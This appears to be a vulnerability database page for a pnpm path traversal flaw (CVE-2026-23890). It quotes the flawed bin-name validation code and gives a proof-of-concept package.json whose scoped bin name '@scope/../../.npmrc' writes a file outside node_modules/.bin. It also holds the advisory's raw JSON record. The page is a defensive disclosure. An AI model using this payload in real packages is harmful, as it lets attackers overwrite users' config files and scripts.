BREW-PNPM@10-CVE-2026-23890 (GHSA-XPQM-WM3M-F34H)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:28 – Updated: 2026-08-13 17:28 – Source websiteSummary
A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.
Details
The vulnerability exists in the bin name validation and normalization logic:
1. Validation Bypass (pkg-manager/package-bins/src/index.ts)
The filter allows any bin name starting with @ to pass through without validation:
.filter((commandName) =>
encodeURIComponent(commandName) === commandName ||
commandName === '' ||
commandName[0] === '@' // <-- Bypasses validation
)
2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)
function normalizeBinName (name: string): string {
return name[0] === '@' ? name.slice(name.indexOf('/') + 1) : name
}
// Input: @scope/../../evil
// Output: ../../evil <-- Path traversal preserved!
3. Exploitation (pkg-manager/link-bins/src/index.ts:288)
The normalized name is used directly in path.join() without validation.
PoC
- Create a malicious package:
{
"name": "malicious-pkg",
"version": "1.0.0",
"bin": {
"@scope/../../.npmrc": "./malicious.js"
}
}
- Install the package:
pnpm add /path/to/malicious-pkg
- Observe
.npmrccreated in project root (outside node_modules/.bin).
Impact
- All pnpm users who install npm packages
- CI/CD pipelines using pnpm
- Can overwrite config files, scripts, or other sensitive files
Verified on pnpm main @ commit 5a0ed1d45.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "10.28.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "pnpm@10",
"purl": "pkg:brew/pnpm%4010"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.34.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "npm",
"key": "pkg:npm/pnpm@10.34.5",
"name": "pnpm",
"strategy": "registry",
"subject_version": "10.34.5"
}
]
},
"details": "### Summary\nA path traversal vulnerability in pnpm\u0027s bin linking allows malicious npm packages to create executable shims or symlinks outside of `node_modules/.bin`. Bin names starting with `@` bypass validation, and after scope normalization, path traversal sequences like `../../` remain intact.\n\n### Details\nThe vulnerability exists in the bin name validation and normalization logic:\n\n**1. Validation Bypass (`pkg-manager/package-bins/src/index.ts`)**\n\nThe filter allows any bin name starting with `@` to pass through without validation:\n\n```typescript\n.filter((commandName) =\u003e\n encodeURIComponent(commandName) === commandName ||\n commandName === \u0027\u0027 ||\n commandName[0] === \u0027@\u0027 // \u003c-- Bypasses validation\n)\n```\n\n**2. Incomplete Normalization (`pkg-manager/package-bins/src/index.ts`)**\n\n```typescript\nfunction normalizeBinName (name: string): string {\n return name[0] === \u0027@\u0027 ? name.slice(name.indexOf(\u0027/\u0027) + 1) : name\n}\n// Input: @scope/../../evil\n// Output: ../../evil \u003c-- Path traversal preserved!\n```\n\n**3. Exploitation (`pkg-manager/link-bins/src/index.ts:288`)**\n\nThe normalized name is used directly in `path.join()` without validation.\n\n### PoC\n1. Create a malicious package:\n```json\n{\n \"name\": \"malicious-pkg\",\n \"version\": \"1.0.0\",\n \"bin\": {\n \"@scope/../../.npmrc\": \"./malicious.js\"\n }\n}\n```\n\n2. Install the package:\n```bash\npnpm add /path/to/malicious-pkg\n```\n\n3. Observe `.npmrc` created in project root (outside node_modules/.bin).\n\n### Impact\n- All pnpm users who install npm packages\n- CI/CD pipelines using pnpm\n- Can overwrite config files, scripts, or other sensitive files\n\nVerified on pnpm main @ commit 5a0ed1d45.",
"id": "BREW-pnpm@10-CVE-2026-23890",
"modified": "2026-08-13T17:28:25Z",
"published": "2026-08-13T17:28:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-xpqm-wm3m-f34h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23890"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/commit/8afbb1598445d37985d91fda18abb4795ae5062d"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin",
"upstream": [
"GHSA-xpqm-wm3m-f34h",
"CVE-2026-23890"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.